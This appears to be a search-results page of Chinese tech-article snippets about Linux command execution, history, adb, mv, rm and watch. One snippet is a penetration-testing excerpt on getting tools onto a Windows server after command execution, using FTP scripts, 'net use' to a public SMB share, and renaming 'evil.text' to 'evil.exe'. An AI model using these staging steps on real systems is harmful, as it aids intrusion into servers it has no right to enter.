首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

Linux命令执行过程

一.命令分类 Linux命令分为两类,具体为内部命令和外部命令 内部命令: 指shell内部集成命令,此类命令无需人为安装,开机后自动运行在内存中,命令help查看所有内部命令详情,如cd、type...删除/usr/local/bin下echo,hash中任然存echo路径/usr/local/bin,再次使用echo “welcome to xi’an” 结论:执行hash中命令优先$PATH...2、shell发现第三个字符串包含”*”通配符,就会在当前路径(或指定路径)下搜索满足这个通配符文件。...3、shell然后会 alias——内部命令——hash缓存——外部命令,寻找一个叫”ls”命令。如果存在,则fork()一个子进程,调用exec()加载运行ls命令。...4、ls程序执行后,会分析argc和argv,”-l”表示这是一个选项开关,表明用户想得到文件详细信息,并把这个开关量保存,以便最后输出时候选择信息格式。

4.4K30

Linux命令执行过程

一.命令分类 Linux命令分为两类,具体为内部命令和外部命令 内部命令: 指shell内部集成命令,此类命令无需人为安装,开机后自动运行在内存中,命令help查看所有内部命令详情,如cd、type...删除/usr/local/bin下echo,hash中任然存echo路径/usr/local/bin,再次使用echo “welcome to xi’an” 结论:执行hash中命令优先$PATH...2、shell发现第三个字符串包含”*”通配符,就会在当前路径(或指定路径)下搜索满足这个通配符文件。...3、shell然后会 alias——内部命令——hash缓存——外部命令,寻找一个叫”ls”命令。如果存在,则fork()一个子进程,调用exec()加载运行ls命令。...4、ls程序执行后,会分析argc和argv,”-l”表示这是一个选项开关,表明用户想得到文件详细信息,并把这个开关量保存,以便最后输出时候选择信息格式。

4.5K30
您找到你想要的搜索结果了吗?
是的
没有找到

查看linux执行命令记录_linuxhistory命令

大家好,又见面了,我是你们朋友全栈君。...前言 我们每次敲打linux命令时候,有时候想用之前用过命令,一般情况下,我们都会按↑↓箭头来寻找历史命令记录,那如果我想用1天前执行某条命令,难道还要按↑100次?...显示这样是不现实,我们可以使用history命令即可 实际过程中,history还是很有用 查看历史命令执行记录(history) history 查看命令tail 历史执行记录 history...| grep tail 执行历史记录中,序号为1000命令 执行上一条命令(直接输入两个感叹号) !!...查找最后5条历史记录(两种方式) history 5 history | tail -5 清除历史记录 history -c 将当前所有历史记录写入历史文件中,默认写入 ~/.bash_history

4.2K20

windows命令执行上传文件姿势

我们在做渗透测试时候会经常遇到存在命令执行Windows服务器,而且不能上传shell,唯一入口就是命令执行,这种情况下,我们需要向服务器上传一个大一点工具,如何实现,这就是本文章主要内容。...powershell set-executionpolicy unrestricted 利用ftp协议下载文件 1 创建一个ftp服务器,或者使用公共ftp服务器 2 将下面的代码保存为test.txt...ftp 127.0.0.1 username password get fileexit 3 执行下面的命令 ftp -s:test.txt 利用smb协议拷贝文件 1 在公网创建一个共享如:\\111.111.111.111...\test$ 2 命令行下执行net use \\111.111.111.111\test$ /u:test test 3 最后上传文件到共享,命令行下拷贝:copy \\111.111.111.111...\TexttoExe.ps1 evil.text evil.exe 总结 这几种方式利用场景是在我们发现一个服务器存在命令执行,而且还是一台Windows,在不依赖其他工具前提下,使用Windows

1.7K00

安卓shell命令_android执行linux命令

base.apk 将手机已安装程序apk下载到你所在文件夹 /* 安装卸载apk */ adb install xx.apk (一定要切换到含有apk文件夹) 也可以:pm install...adb devices查看你设备; adb -s xiaomi shell:-s命令表示选择设备,这里是选择xiaomi设备进shell exit 退出shell状态 以下两个只能在shell...通过关键字过滤显示安装包列表 pm list packages -f | grep xxx 通过关键字过滤显示安装包路径列表 获取md5值 md5 /system/app/SDKLongRrs.apk 获取一个目录下所有文件...、支持模糊匹配 例如adb shell dumpsys activity services com.linux.example +++++++++++++++++++++++++ 查看正在运行 activity...例如adb shell dumpsys activity com.linux.example +++++++++++++++++++++++++ clear 清除应用数据 +++++++++++

3.2K10

Linux执行一个mv命令之后,我后悔了...

翻车现场 由于今天在安装完node之后,系统提示: 查看一下/lib64/libc.so.6是什么鬼: 由于是内网,不能在线下载依赖数据包,也没有办法把外网数据拿过来。...这时突然想到最近新申请过一台服务器,然后想着看下新申请服务器文件版本会不会高点。 果然:(由于看着版本比较高,就想着直接拿过来用吧。)...拿过来之后当然要先备份一下现有的文件了,然后就执行一个命令: $ mv libc.so.6 libc.so.6_20200708_bak 执行之后突然发现整个世界都不一样了:(ls、ll、date这些基础命令都提示错误...经过长达15分钟搜救之后,终于找到了解决方案: 一行神奇命令解决了刚才问题: $ ldconfig -l -v /lib64/libc-2.11.3.so ✎ 事故总结 1.不要随便使用root...权限,很危险 2.Linux系统系统配置和公共包数据不允许随意操作 3.解决问题一定要先想方案和风险,明确之后再去执行 4.在进行非常规操作时一定先想清楚后果 5.要解决问题一定要了解问题根源,不要盲目的听从网上解决方案

54410

linux下误执行rm -f命令后,如何恢复文件

hi,偶然间看到在linux运行了rm命令之后还能恢复,很是神奇所以就看了下,不知道是不是真的,管他呢先转载啊,不行再删呗反正怎么都是灌水,此文教程并未测试,如有问题请@原作者,在我们在生产环境服务器上执行...rm命令时,总是提心吊胆,因为一不小心执行了误删,一旦误删没办法了然后就要准备跑路了,毕竟人不是机器,更何况机器也有bug,假如真的不小心删除了不该删除文件,比如数据库、日志或执行文件,咋办呢?...恢复 使用lsof命令查看当前是否有进程打开/root/selenium/Spider/MySql.Data.dll文件: lsof | grep /root/selenium/Spider/MySql.Data.dll...在Linux系统中,每个运行中程序都有一个宿主进程彼此隔离,以/proc/进程号来体现(Linux本质上就是一个文件系统),比如:ls -l /proc/13067 查看进程PID为13067进程信息...;当程序运行时,操作系统会专门开辟一块内存区域,提供给当前进程使用,对于依赖文件,操作系统会发放一个文件描述符,以便读写文件,当我们执行 rm -f 删除文件时,其实只是删除了文件目录索引节点,对于文件系统不可见

6.9K31

linux 移动 文件,linux移动文件命令

linux移动文件命令 mv命令 功能:为文件或目录改名或将文件一个目录移入另一个目录中。该命令如同DOS下ren和move组合。...语法:mv [选项] 源文件或目录 目标文件或目录 说明: 视mv命令中第二个参数类型不同(是目标文件还是目标目录),mv命令文件重命名或将其移至一个目录中。...当第二个参数类型是文件时,mv命令完成文件重命名,此时,源文件只能有一个(也可以是源目录名),它将所给文件或目录重命名为给定目标文件名。...当第二个参数是已存在目录名称时,源文件或目录参数可以有多个,mv命令将各参数指定文件均移至目标目录中。在跨文件系统移动文件时,mv先拷贝,再将原有文件删除,而链至该文件链接也将丢失。...为防止用户在不经意情况下用mv命令破坏另一个文件,建议用户在使用mv命令移动文件时,最好使用i选项。 需要注意是,mv与cp结果不同。

21.2K40

Linuxwatch命令--周期性执行某个命令

watch是一个非常实用命令,基本所有的Linux发行版都带有这个小工具,如同名字一样,watch可以帮你监测一个命令运行结果,省得你一遍遍手动运行。...在Linux下,watch是周期性执行下个程序,并全屏显示执行结果。你可以拿他来监测你想要一切命令结果变化,比如 tail 一个 log 文件,ls 监测某个文件大小变化,看你想象力了!...1.命令格式: watch[参数][命令] 2.命令功能: 可以将命令输出结果输出到标准输出设备,多用于周期性执行命令/定时执行命令 3.命令参数: -n或--interval watch缺省每2秒运行一下程序...而-d=cumulative选项会把变动过地方(不管最近那次有没有变动)都高亮显示出来。 -t 或-no-title 会关闭watch命令在顶部时间间隔,命令,当前时间输出。...实例4:10秒一次输出系统平均负载 watch -n 10 uptime 本文转载自: 每天一个linux命令(48):watch命令

1.4K20

linux删除文件命令,Linux下删除文件命令「建议收藏」

linux中删除文件文件夹我们可以直接使用rm就可以删除了,彻底删除文件文件夹我们可以使用shred命令来完成,接下来是小编为大家收集Linux下删除文件命令,希望能帮到大家。...Linux下删除文件命令 linux删除目录很简单,很多人还是习惯用rmdir,不过一旦目录非空,就陷入深深苦恼之中,现在使用rm -rf命令即可。...-v或–verbose  显示指令执行过程。...、文件夹 需要提醒是:使用这个rm -rf时候一定要格外小心,linux没有回收站 2 删除文件 de>rm -f fileNamede> 使用 rm -rf 时候一定要格外小心,linux没有回收站...删除指定文件之外其他文件 一、Linux下删除文件文件夹常用命令如下: 删除文件: rm file 删除文件夹: rm -rf dir 需要注意是, rmdir 只能够删除 空文件夹。

40.7K31

查看linux执行命令记录_linux删除history记录

前言 我们每次敲打linux命令时候,有时候想用之前用过命令,一般情况下,我们都会按↑↓箭头来寻找历史命令记录,那如果我想用1天前执行某条命令,难道还要按↑100次?...显示这样是不现实,我们可以使用history命令即可 实际过程中,history还是很有用 查看历史命令执行记录(history) history 查看命令tail 历史执行记录 history...| grep tail 执行历史记录中,序号为1000命令 执行上一条命令(直接输入两个感叹号) !!...查找最后5条历史记录(两种方式) history 5 history | tail -5 清除历史记录 history -c 将当前所有历史记录写入历史文件中,默认写入 ~/.bash_history

5.4K30
领券